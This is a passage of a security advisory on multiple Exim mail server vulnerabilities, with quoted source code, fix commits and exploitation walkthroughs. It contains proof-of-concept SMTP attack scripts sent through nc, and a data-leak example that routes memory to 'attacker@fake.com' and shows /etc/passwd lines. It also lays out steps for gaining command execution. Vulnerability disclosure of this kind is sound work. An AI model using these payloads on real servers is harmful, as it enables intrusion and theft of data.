1040 During our work on Exim, we stumbled across the following commit:
1042 ------------------------------------------------------------------------
1043 commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b
1044 Date: Thu Jan 10 21:15:11 2019 +0000
1046 +JH/41 Fix the loop reading a message header line to check for integer overflow,
1047 + and more-often against header_maxsize. Previously a crafted message could
1048 + induce a crash of the recive process; now the message is cleanly rejected.
1050 + if (header_size >= INT_MAX/2)
1053 ------------------------------------------------------------------------
1055 This vulnerability is exploitable in all Exim versions before 4.92 and
1056 allows an unauthenticated remote attacker to execute arbitrary commands
1057 as the "exim" user. Because this commit was not identified as a security
1058 patch, it was not backported to LTS (Long Term Support) distributions.
1059 For example, Debian oldstable's package (exim4_4.89-2+deb9u7) contains
1060 all known security patches, but is vulnerable to CVE-2020-28020 and
1061 hence remotely exploitable.
1063 By default, Exim limits the size of a mail header to 1MB
1064 (header_maxsize). Unfortunately, an attacker can bypass this limit by
1065 sending only continuation lines (i.e., '\n' followed by ' ' or '\t'),
1066 thereby overflowing the integer header_size at line 1782:
1068 ------------------------------------------------------------------------
1069 1778 if (ptr >= header_size - 4)
1071 1780 int oldsize = header_size;
1072 1781 /* header_size += 256; */
1073 1782 header_size *= 2;
1074 1783 if (!store_extend(next->text, oldsize, header_size))
1076 1785 BOOL release_ok = store_last_get[store_pool] == next->text;
1077 1786 uschar *newtext = store_get(header_size);
1078 1787 memcpy(newtext, next->text, ptr);
1079 1788 if (release_ok) store_release(next->text);
1080 1789 next->text = newtext;
1083 ------------------------------------------------------------------------
1085 Ironically, this vulnerability was the most difficult to exploit:
1087 - when the integer header_size overflows, it becomes negative (INT_MIN),
1088 but we cannot exploit the resulting back-jump at line 1786 (Digression
1089 1b), because the free size of the current memory block also becomes
1090 negative (because 0 - INT_MIN = INT_MIN, the "Leblancian Paradox"),
1091 which prevents us from writing to this back-jumped memory block;
1093 - to overflow the integer header_size, we must send 1GB to Exim:
1094 consequently, our exploit must succeed after only a few tries (in
1095 particular, we cannot brute-force ASLR).
1097 Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we
1098 send a first line that ends with "\r\n", then Exim transforms every bare
1099 '\n' that we send into "\n " (a continuation line):
1101 ------------------------------------------------------------------------
1102 1814 if (ch == '\n')
1104 1816 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;
1105 1817 else if (first_line_ended_crlf) receive_ungetc(' ');
1106 ------------------------------------------------------------------------
1108 ------------------------------------------------------------------------
1110 ------------------------------------------------------------------------
1116 echo 'MAIL FROM:<>';
1118 echo 'RCPT TO:postmaster';
1122 printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
1123 perl -e 'print "a" x 16384';
1124 printf '\r\nvery_long_header:';
1125 for ((i=0; i<64; i++)); do
1126 echo "`date` $i" >&2;
1127 perl -e 'print "\n" x 16777216';
1129 ) | nc -n -v 192.168.56.103 25
1131 Program received signal SIGSEGV, Segmentation fault.
1133 ------------------------------------------------------------------------
1135 ------------------------------------------------------------------------
1137 To exploit this vulnerability (on Debian oldstable, for example):
1139 1/ We send three separate mails (in the same SMTP session) to achieve
1140 the following memory layout:
1143 -----|-------------------|-------------------|-------------------|-----
1144 ... |n|l| mblock3 |n|l| mblock2 |n|l| mblock1 | ...
1145 -----|-------------------|-------------------|+------------------|-----
1148 -------------------------|v-------------|-----
1149 ... |N|L|N|L|N|L|N|L|N|L|n|l| hblock | ...
1150 -------------------------|--------------|-----
1151 <- fake storeblock ->
1153 where n and l are the next and length members of a storeblock structure
1154 (a linked list of allocated memory blocks):
1156 ------------------------------------------------------------------------
1157 71 typedef struct storeblock {
1158 72 struct storeblock *next;
1161 ------------------------------------------------------------------------
1163 - we first allocate a 1GB mmap block (mblock1) by sending a mail that
1164 contains a 256MB header of bare '\n' characters; the next member of
1165 mblock1's storeblock structure initially points to a heap block
1166 (hblock, which immediately follows data that we control);
1168 - we allocate a second 1GB mmap block (mblock2) by sending a mail that
1169 also contains a 256MB header of bare '\n' characters;
1171 - we allocate a third 1GB mmap block (mblock3) by sending a mail that
1172 contains a 512MB header; this overflows the integer header_size, and
1173 forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1:
1174 we overwrite mblock2's next pointer with NULL (to avoid a crash in
1175 store_release() at line 1788) and we partially overwrite mblock1's
1176 next pointer (with a single null byte).
1178 2/ After this overflow, store_reset() traverses the linked list of
1179 allocated memory blocks and follows mblock1's overwritten next pointer,
1180 to our own "fake storeblock" structure: a NULL next pointer N (to avoid
1181 a crash in store_reset()), and a large length L that covers the entire
1182 address space (for example, 0x7050505070505050). As a result, Exim's
1183 allocator believes that the entire heap is one large, free block of
1184 POOL_MAIN memory (Exim's main type of memory allocations).
1186 This powerful exploit primitive gives us write access to the entire
1187 heap, through POOL_MAIN allocations. But the heap also contains other
1188 types of allocations: we exploit this primitive to overwrite POOL_MAIN
1189 allocations with raw malloc()s (for information disclosure) and to
1190 overwrite POOL_PERM allocations with POOL_MAIN allocations (for
1191 arbitrary code execution).
1193 3/ Information disclosure:
1195 - First, we send an EHLO command that allocates a large string in raw
1198 - Second, we send an invalid RCPT TO command that allocates a small
1199 string in POOL_MAIN memory (an error message); this small POOL_MAIN
1200 string overwrites the beginning of the large malloc() string.
1202 - Next, we send an invalid EHLO command that free()s the large malloc()
1203 string; this free() overwrites the beginning of the small POOL_MAIN
1204 string with a pointer to the libc (a member of libc's malloc_chunk
1207 - Last, we send an invalid DATA command that responds with an error
1208 message: the small, overwritten POOL_MAIN string, and hence the libc
1209 pointer. This information leak is essentially the technique that we
1210 used for CVE-2015-0235 (GHOST).
1212 4/ Arbitrary code execution:
1214 - First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands);
1215 this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure
1216 in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):
1218 ------------------------------------------------------------------------
1219 249 typedef struct pdkim_ctx {
1221 263 int(*dns_txt_callback)(char *, char *);
1224 ------------------------------------------------------------------------
1226 - Second, we send a mail header that is allocated to POOL_MAIN memory,
1227 and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback
1228 with a pointer to libc's system() function (we derive this pointer
1229 from the information-leaked libc pointer).
1231 - Next, we send a "DKIM-Signature:" header (we particularly care about
1232 its "selector" field).
1234 - Last, we end our mail; this calls dkim_exim_verify_finish(), which
1235 calls the overwritten dns_txt_callback with a first argument that we
1236 control (through the selector field of our "DKIM-Signature:" header):
1238 ------------------------------------------------------------------------
1239 1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain);
1241 1333 if ( ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK
1242 ------------------------------------------------------------------------
1244 In other words, we execute system() with an arbitrary command.
1248 ========================================================================
1249 CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
1250 ========================================================================
1252 In smtp_setup_msg(), which reads the SMTP commands sent by a client to
1255 ------------------------------------------------------------------------
1256 1455 int smtp_ch_index = 0;
1258 1459 uschar smtp_connection_had[SMTP_HBUFF_SIZE];
1259 ------------------------------------------------------------------------
1260 126 #define HAD(n) \
1261 127 smtp_connection_had[smtp_ch_index++] = n; \
1262 128 if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0
1267 5305 smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
1268 5306 smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1269 ------------------------------------------------------------------------
1271 - line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index
1272 into the circular buffer smtp_connection_had[]);
1274 - line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an
1275 unsigned char index into the array smtp_names[]);
1277 - depending on the value of this unsigned char index, line 5306 may also
1278 read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a
1281 - and line 5305 sends this string to the SMTP client and may therefore
1282 disclose sensitive information to an unauthenticated remote attacker.
1284 On Debian, this out-of-bounds read is not exploitable, because
1285 smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]
1286 ("NONE") to the client. However, the memory layout of the Exim binary
1287 may be more favorable to attackers on other operating systems.
1289 ------------------------------------------------------------------------
1291 ------------------------------------------------------------------------
1297 echo 'MAIL FROM:<>';
1299 for ((i=0; i<20-3; i++)); do
1300 echo 'RCPT TO:nonexistent';
1305 ) | nc -n -v 192.168.56.101 25
1307 503-All RCPT commands were rejected with this error:
1308 503-501 nonexistent: recipient address must contain a domain
1309 503 Valid RCPT command must precede NONE
1311 ------------------------------------------------------------------------
1313 ------------------------------------------------------------------------
1315 This vulnerability was introduced in Exim 4.88:
1317 ------------------------------------------------------------------------
1318 commit 18481de384caecff421f23f715be916403f5d0ee
1319 Date: Mon Jul 11 23:36:45 2016 +0100
1321 - smtp_printf("503 Valid RCPT command must precede DATA\r\n");
1322 + smtp_printf("503 Valid RCPT command must precede %s\r\n",
1323 + smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1324 ------------------------------------------------------------------------
1326 and was independently discovered by Exim's developers in July 2020:
1328 ------------------------------------------------------------------------
1329 commit afaf5a50b05810d75c1f7ae9d1cd83697815a997
1330 Date: Thu Jul 23 16:32:29 2020 +0100
1332 +#define SMTP_HBUFF_PREV(n) ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
1334 smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
1335 - smtp_names[smtp_connection_had[smtp_ch_index-1]]);
1336 + smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
1337 ------------------------------------------------------------------------
1341 ========================================================================
1342 CVE-2020-28021: New-line injection into spool header file (remote)
1343 ========================================================================
1345 An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM
1346 command. This AUTH= parameter is decoded by auth_xtextdecode():
1348 ------------------------------------------------------------------------
1349 4697 case ENV_MAIL_OPT_AUTH:
1351 4703 if (auth_xtextdecode(value, &authenticated_sender) < 0)
1352 ------------------------------------------------------------------------
1354 and the resulting authenticated_sender is written to the spool header
1355 file without encoding or escaping:
1357 ------------------------------------------------------------------------
1358 212 if (authenticated_sender)
1359 213 fprintf(fp, "-auth_sender %s\n", authenticated_sender);
1360 ------------------------------------------------------------------------
1362 Unfortunately, authenticated_sender can contain arbitrary characters,
1363 because auth_xtextdecode() translates hexadecimal +XY sequences into
1364 equivalent characters (for example, +0A into '\n'): an authenticated
1365 remote attacker can inject new lines into the spool header file and
1366 execute arbitrary commands, as root.
1368 This vulnerability is particularly problematic for Internet service
1369 providers and mail providers that deploy Exim and offer mail accounts
1370 but not shell accounts. It is also problematic when combined with an
1371 authentication bypass such as CVE-2020-12783, discovered by Orange Tsai
1372 in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571).
1374 ------------------------------------------------------------------------
1376 ------------------------------------------------------------------------
1378 nc -n -v 192.168.56.101 25
1384 AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0
1385 235 Authentication succeeded
1386 MAIL FROM:<> AUTH=Raven+0AReyes
1391 354 Enter message, ending with "." on a line by itself
1393 250 OK id=1kb6VC-0003BW-Rg
1395 2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530
1397 ------------------------------------------------------------------------
1399 ------------------------------------------------------------------------
1401 Our exploit for CVE-2020-28021 is essentially the same as our exploit
1402 for CVE-2020-28015. The main difference is that Exim's ACLs limit the
1403 length of our header lines to 998 characters. However, this limit can be
1404 easily bypassed, by splitting long header lines into 990-character lines
1405 separated by "\n " (i.e., continuation lines).
1407 We can also transform CVE-2020-28021 into an information disclosure:
1409 - First, we inject an arbitrary recipient line into the spool header
1410 file: an arbitrary recipient address (for example, attacker@fake.com)
1411 and an errors_to string that is read out-of-bounds (the same technique
1412 as for CVE-2020-28015).
1414 - Next, we wait for Exim to connect to our own mail server, fake.com's
1415 MX (we use https://github.com/iphelix/dnschef to set up a quick and
1418 - Last, we retrieve the out-of-bounds errors_to string from Exim's MAIL
1419 FROM command (which, in this example, contains a fragment of
1422 ------------------------------------------------------------------------
1427 echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0';
1429 echo 'MAIL FROM:<> AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*';
1431 echo 'RCPT TO:postmaster';
1435 printf 'Message-Id: X\n';
1436 printf 'From: X@localhost\n';
1438 printf 'X:%0990d2* X\n' 0;
1441 ) | nc -n -v 192.168.56.101 25
1445 Ncat: Connection from 192.168.56.101.
1454 Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
1455 jane:x:1001:1001:,,,:/home/jane:/bin/bash
1458 RCPT TO:<attacker@fake.com>
1460 ------------------------------------------------------------------------
1464 ========================================================================
1465 CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
1466 ========================================================================
1468 The name=value parameters such as AUTH= are extracted from MAIL FROM and
1469 RCPT TO commands by extract_option():
1471 ------------------------------------------------------------------------
1473 1995 extract_option(uschar **name, uschar **value)
1476 1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
1478 2001 while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
1481 2005 if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
1486 ------------------------------------------------------------------------
1488 Unfortunately, this function can decrease v (value) and hence n (name)
1489 out of smtp_cmd_data's bounds (into the preceding smtp_cmd_buffer):
1491 - at line 2001, v can point to smtp_cmd_data + 1;
1493 - at line 2005, v-- decrements v to smtp_cmd_data;
1495 - at line 2006, v-- decrements v to smtp_cmd_data - 1.
1497 Subsequently, the code in extract_option() and smtp_setup_msg() reads
1498 from and writes to v and n out of smtp_cmd_data's bounds.
1500 If exploitable, this vulnerability would allow an unauthenticated remote
1501 attacker to execute arbitrary commands as the "exim" user. So far we
1502 were unable to exploit this vulnerability: although we are able to
1503 decrease v and n out of smtp_cmd_data's bounds, we were unable to
1504 decrease v or n out of the preceding smtp_cmd_buffer's bounds.
1505 Surprisingly, however, we do use this vulnerability in our
1506 proof-of-concept for CVE-2020-28026.
1508 ------------------------------------------------------------------------
1510 ------------------------------------------------------------------------
1512 This vulnerability was introduced in Exim 4.89:
1514 ------------------------------------------------------------------------
1515 commit d7a2c8337f7b615763d4429ab27653862756b6fb
1516 Date: Tue Jan 24 18:17:10 2017 +0000
1518 -while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) v--;
1519 +while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
1521 + /* Take care to not stop at a space embedded in a quoted local-part */
1523 + if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
1526 ------------------------------------------------------------------------
1530 ========================================================================
1531 CVE-2020-28026: Line truncation and injection in spool_read_header()
1532 ========================================================================
1534 spool_read_header() calls fgets() to read the lines from a spool header
1535 file into the 16KB big_buffer. The first section of spool_read_header()
1536 enlarges big_buffer dynamically if fgets() truncates a line (if a line
1537 is longer than 16KB):
1539 ------------------------------------------------------------------------
1540 460 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
1542 462 while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
1543 463 && big_buffer[len-1] != '\n'
1545 468 buf = store_get_perm(big_buffer_size *= 2, FALSE);
1546 ------------------------------------------------------------------------
1548 Unfortunately, the second section of spool_read_header() does not
1551 ------------------------------------------------------------------------
1552 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
1554 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
1555 ------------------------------------------------------------------------
1557 If DSN (Delivery Status Notification) is enabled (it is disabled by
1558 default), an attacker can send a RCPT TO command with a long ORCPT=
1559 parameter that is written to the spool header file by
1560 spool_write_header():
1562 ------------------------------------------------------------------------
1563 292 for (int i = 0; i < recipients_count; i++)
1565 294 recipient_item *r = recipients_list + i;
1567 302 uschar * errors_to = r->errors_to ? r->errors_to : US"";
1569 305 uschar * orcpt = r->orcpt ? r->orcpt : US"";
1571 307 fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
1572 308 r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
1573 ------------------------------------------------------------------------
1575 This long ORCPT= parameter truncates the recipient line (when read by
1576 fgets() in spool_read_header()) and injects the remainder of the line as
1577 a separate line, thereby emulating the '\n' injection of CVE-2020-28015
1578 and CVE-2020-28021 (albeit in a weaker form).
1580 We have not tried to exploit this vulnerability; if exploitable, it
1581 would allow an unauthenticated remote attacker to execute arbitrary
1582 commands as root (if DSN is enabled).
1584 ------------------------------------------------------------------------
1586 ------------------------------------------------------------------------
1588 - Intuitively, it seems impossible to generate a recipient line longer
1589 than 16KB (big_buffer_size), because the Exim server reads our RCPT TO
1590 command into a 16KB buffer (smtp_cmd_buffer) that must also contain
1591 (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and
1592 the recipient address.
1594 - We can, however, use the special recipient "postmaster", which is
1595 automatically qualified (by appending Exim's primary hostname) before
1596 it is written to the spool header file. This allows us to enlarge the
1597 recipient line, but is not sufficient to control the end of the
1598 truncated line (unless Exim's primary hostname is longer than 24
1599 bytes, which is very unlikely).
1601 - But we can do better: we can use CVE-2020-28022 to read our ORCPT=
1602 parameter out of smtp_cmd_data's bounds (from the end of the preceding
1603 smtp_cmd_buffer). This allows us to further enlarge the recipient line
1604 (by 10 bytes, because "postmaster" is now included in our ORCPT=), but
1605 is not sufficient to reliably control the end of the truncated line
1606 (unless Exim's primary hostname is longer than 14 bytes, which is
1607 still very unlikely).
1609 - But we can do much better: we do not need postmaster's automatic
1610 qualification anymore, because the recipient is now included in our
1611 ORCPT= parameter -- the longer the recipient, the better. On Debian,
1612 the user "systemd-timesync" exists by default, and "localhost" is one
1613 of Exim's local_domains: the recipient "systemd-timesync@localhost" is
1614 long enough to reliably control the end of the truncated recipient
1615 line, and allows us to read and write out of big_buffer's bounds
1616 (lines 859 and 863, and beyond):
1618 ------------------------------------------------------------------------
1619 840 else if (*p == '#')
1621 848 (void)sscanf(CS p+1, "%d", &flags);
1623 850 if ((flags & 0x01) != 0) /* one_time data exists */
1626 853 while (isdigit(*(--p)) || *p == ',' || *p == '-');
1627 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno);
1632 859 errors_to = string_copy_taint(p, TRUE);
1636 863 *(--p) = 0; /* Terminate address */
1637 ------------------------------------------------------------------------
1639 For example, the following proof-of-concept accesses memory at 1MB below
1642 ------------------------------------------------------------------------
1647 echo 'MAIL FROM:<>';
1649 perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"';
1653 perl -e 'print "RCPT TO:(\")systemd-timesync\@localhost("; print "A" x (16384-74); print "xxx1048576,-1#1x NOTIFY=DELAY\n"';
1659 ) | nc -n -v 192.168.56.101 25
1661 Program received signal SIGSEGV, Segmentation fault.
1662 ------------------------------------------------------------------------
1666 ========================================================================
1667 CVE-2020-28019: Failure to reset function pointer after BDAT error
1668 ========================================================================
1670 To read SMTP commands and data from a client, Exim calls the function
1671 pointer receive_getc, which points to either smtp_getc() (a cleartext
1672 connection) or tls_getc() (an encrypted connection). If the client uses
1673 the BDAT command (instead of DATA) to send a mail, then Exim saves the
1674 current value of receive_getc to the function pointer lwr_receive_getc
1675 and sets receive_getc to the wrapper function bdat_getc():
1677 ------------------------------------------------------------------------
1680 5271 lwr_receive_getc = receive_getc;
1682 5275 receive_getc = bdat_getc;
1683 ------------------------------------------------------------------------
1685 Exim normally resets receive_getc to its original value
1686 (lwr_receive_getc) when the client ends its mail. Unfortunately, Exim
1687 fails to reset receive_getc in some cases; for example, if the mail is
1688 larger than message_size_limit (50MB by default). Consequently, Exim
1689 re-enters smtp_setup_msg() while receive_getc still points to
1692 - smtp_read_command() calls receive_getc and hence bdat_getc(), which
1693 also calls smtp_read_command(), which is not a re-entrant function and
1694 may have unintended consequences;
1696 - if the client issues another BDAT command, then receive_getc and
1697 lwr_receive_getc both point to bdat_getc(), which calls itself
1698 recursively and leads to stack exhaustion; for example:
1700 ------------------------------------------------------------------------
1705 echo 'MAIL FROM:<>';
1707 echo 'RCPT TO:postmaster';
1709 echo "BDAT $((52428800+100))";
1710 perl -e 'print "A" x (52428800+1)';
1712 echo 'MAIL FROM:<>';
1714 echo 'RCPT TO:postmaster';
1717 ) | nc -n -v 192.168.56.101 25
1719 Program received signal SIGSEGV, Segmentation fault.
1720 ------------------------------------------------------------------------
1722 This vulnerability is very similar to CVE-2017-16944, discovered by Meh
1723 Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).
1725 ------------------------------------------------------------------------
1727 ------------------------------------------------------------------------
1729 This vulnerability was introduced in Exim 4.88:
1731 ------------------------------------------------------------------------
1732 commit 7e3ce68e68ab9b8906a637d352993abf361554e2
1733 Date: Wed Jul 13 21:28:18 2016 +0100
1735 + lwr_receive_getc = receive_getc;
1736 + lwr_receive_ungetc = receive_ungetc;
1737 + receive_getc = bdat_getc;
1738 + receive_ungetc = bdat_ungetc;
1739 ------------------------------------------------------------------------
1743 ========================================================================
1744 CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
1745 ========================================================================
1747 Exim calls smtp_refill() to read input characters from an SMTP client
1748 into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual
1749 characters from smtp_inbuffer:
1751 ------------------------------------------------------------------------
1753 502 smtp_refill(unsigned lim)
1756 512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));
1764 541 smtp_inend = smtp_inbuffer + rc;
1765 542 smtp_inptr = smtp_inbuffer;
1768 ------------------------------------------------------------------------
1770 560 smtp_getc(unsigned lim)
1772 562 if (smtp_inptr >= smtp_inend)
1773 563 if (!smtp_refill(lim))
1775 565 return *smtp_inptr++;
1777 ------------------------------------------------------------------------
1779 Exim implements an smtp_ungetc() function to push characters back into
1780 smtp_inbuffer (characters that were read from smtp_inbuffer by
1783 ------------------------------------------------------------------------
1785 796 smtp_ungetc(int ch)
1787 798 *--smtp_inptr = ch;
1790 ------------------------------------------------------------------------
1792 Unfortunately, Exim also calls smtp_ungetc() to push back "characters"
1793 that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is
1794 used, EOD and ERR (-2 and -3). For example, in receive_msg():
1796 ------------------------------------------------------------------------
1797 1945 if (ch == '\r')
1799 1947 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1800 1948 if (ch == '\n')
1805 1957 ch = (receive_ungetc)(ch);
1806 ------------------------------------------------------------------------
1808 - at line 1947, receive_getc (smtp_getc()) can return EOF;
1810 - at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());
1812 - at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to
1813 smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is
1814 written out of smtp_inbuffer's bounds.
1816 To return EOF in receive_msg() while smtp_inptr is equal to
1817 smtp_inbuffer, we must initiate a TLS-encrypted connection:
1819 - either through TLS-on-connect (usually on port 465), which does not
1820 use smtp_inptr nor smtp_inbuffer;
1822 - or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the
1823 following code (if X_PIPE_CONNECT is enabled, the default since Exim
1826 ------------------------------------------------------------------------
1827 5484 if (receive_smtp_buffered())
1830 5487 debug_printf("Non-empty input buffer after STARTTLS; naive attack?\n");
1831 5488 if (tls_in.active.sock < 0)
1832 5489 smtp_inend = smtp_inptr = smtp_inbuffer;
1833 ------------------------------------------------------------------------
1837 - first, we initiate a TLS-encrypted connection, which sets receive_getc
1838 and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is
1839 equal to smtp_inbuffer);
1841 - second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and
1842 enter receive_msg();
1844 - third, we send a bare '\r' character and reach line 1945;
1846 - next, we terminate the TLS connection, which resets receive_getc and
1847 receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is
1848 still equal to smtp_inbuffer);
1850 - last, we close the underlying TCP connection, which returns EOF at
1851 line 1947 and writes EOF out of smtp_inbuffer's bounds at line 1957
1852 (line 798 in smtp_ungetc()).
1854 We have not tried to exploit this vulnerability; if exploitable, it
1855 would allow an unauthenticated remote attacker to execute arbitrary
1856 commands as the "exim" user (if TLS and either TLS-on-connect or
1857 X_PIPE_CONNECT are enabled).
1861 ========================================================================
1862 CVE-2020-28018: Use-after-free in tls-openssl.c
1863 ========================================================================
1865 If Exim is built with OpenSSL, and if STARTTLS is enabled, and if
1866 PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled
1867 (the default before Exim 4.94), then tls_write() in tls-openssl.c is
1868 vulnerable to a use-after-free.
1870 If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and
1871 RCPT TO commands (in tls-openssl.c):
1873 ------------------------------------------------------------------------
1875 2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
1878 2915 static gstring * server_corked = NULL;
1879 2916 gstring ** corkedp = ct_ctx
1880 2917 ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
1881 2918 gstring * corked = *corkedp;
1883 2933 if (!ct_ctx && (more || corked))
1886 2940 corked = string_catn(corked, buff, len);
1890 2948 *corkedp = corked;
1893 ------------------------------------------------------------------------
1895 - at line 2910, ct_ctx is NULL, buff contains the SMTP response, and
1898 - at line 2940, a struct gstring (a "growable string", mentioned in
1899 CVE-2020-28009) and its string buffer are allocated in POOL_MAIN
1902 ------------------------------------------------------------------------
1903 29 typedef struct gstring {
1904 30 int size; /* Current capacity of string memory */
1905 31 int ptr; /* Offset at which to append further chars */
1906 32 uschar * s; /* The string memory */
1908 ------------------------------------------------------------------------
1910 - at line 2948, a pointer to the struct gstring is saved to a local
1911 static variable, server_corked.
1913 Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then
1914 store_reset() is called and frees all allocated POOL_MAIN memory, but
1915 server_corked is not reset to NULL: if tls_write() is called again, the
1916 struct gstring and its string buffer are used-after-free.
1918 Side note: another use-after-free, CVE-2017-16943, was discovered by Meh
1919 Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199).
1921 ------------------------------------------------------------------------
1923 ------------------------------------------------------------------------
1925 To reliably control this vulnerability, we must prevent Exim from
1926 calling tls_write() between our call to smtp_reset() and the actual
1929 - first, we send EHLO and STARTTLS (to initiate a TLS connection);
1931 - second, we send EHLO and "MAIL FROM:<>\nNO" (to pipeline the first
1932 half of a NOOP command, and to buffer the response to our MAIL FROM
1933 command in tls_write());
1935 - third, we terminate the TLS connection (and fall back to cleartext)
1936 and send "OP\n" (the second half of our pipelined NOOP command);
1938 - next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to
1939 re-initiate a TLS connection);
1941 - last, server_corked is used-after-free (in tls_write()) in response to
1942 any SMTP command that we send.
1944 This use-after-free of a struct gstring (server_corked) and its string
1945 buffer (server_corked->s) is the most powerful vulnerability in this
1948 1/ We overwrite the string buffer (which is sent to us by tls_write())
1949 and transform this use-after-free into an information leak (we leak
1950 pointers to the heap).
1952 2/ We overwrite the struct gstring (with an arbitrary string pointer and
1953 size) and transform the use-after-free into a read-what-where primitive:
1954 we read the heap until we locate Exim's configuration.
1956 3/ We overwrite the struct gstring (with an arbitrary string pointer)
1957 and transform the use-after-free into a write-what-where primitive: we
1958 overwrite Exim's configuration with an arbitrary "${run{command}}" that
1959 is executed by expand_string() as the "exim" user (Digression 2).
1961 We use a few noteworthy tricks in our exploit:
1963 1/ Information leak: To overwrite the string buffer without overwriting
1964 the struct gstring itself, we send several pipelined RCPT TO commands to
1965 re-allocate the string buffer (far away from the struct gstring), and
1966 overwrite it with header_line structures that contain pointers to the
1969 2/ Read-what-where: We overwrite the struct gstring with arbitrary
1970 binary data through the name=value parameter of a MAIL FROM command:
1972 - we overwrite the s member with a pointer to the memory that we want to
1973 read (a pointer to the heap);
1975 - we overwrite the ptr member with the number of bytes that we want to
1978 - we overwrite the size member with the same number as ptr to prevent
1979 string_catn() from writing to the memory that we want to read (at line
1980 2940 in tls_write()).
1982 3/ Write-what-where: We overwrite the struct gstring with arbitrary
1983 binary data through the name=value parameter of a MAIL FROM command:
1985 - we overwrite the s member with a pointer to the memory that we want to
1986 overwrite (a pointer to Exim's configuration);
1988 - we overwrite the ptr member with 0 and the size member with a large
1991 - finally, we send a MAIL FROM command whose response overwrites Exim's
1992 configuration with our arbitrary "${run{...}}" (which is eventually
1993 executed by expand_string()).
1995 Note: Debian's Exim packages are built with GnuTLS, not OpenSSL; to
1996 rebuild them with OpenSSL, we followed the detailed instructions at
1997 https://gist.github.com/ryancdotorg/11025731.
1999 ------------------------------------------------------------------------
2001 ------------------------------------------------------------------------
2003 This vulnerability was introduced in Exim 4.90:
2005 ------------------------------------------------------------------------
2006 commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a
2007 Date: Fri May 19 22:55:25 2017 +0100
2009 +static uschar * corked = NULL;
2010 +static int c_size = 0, c_len = 0;
2012 +if (is_server && (more || corked))
2014 + corked = string_catn(corked, &c_size, &c_len, buff, len);
2017 ------------------------------------------------------------------------
2021 ========================================================================
2022 CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
2023 ========================================================================
2025 By default since Exim 4.70, receive_msg() calls
2026 dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)
2027 signatures, which calls pdkim_feed_finish(), which calls
2028 pdkim_finish_bodyhash():
2030 ------------------------------------------------------------------------
2032 789 pdkim_finish_bodyhash(pdkim_ctx * ctx)
2035 799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next)
2038 825 if ( sig->bodyhash.data
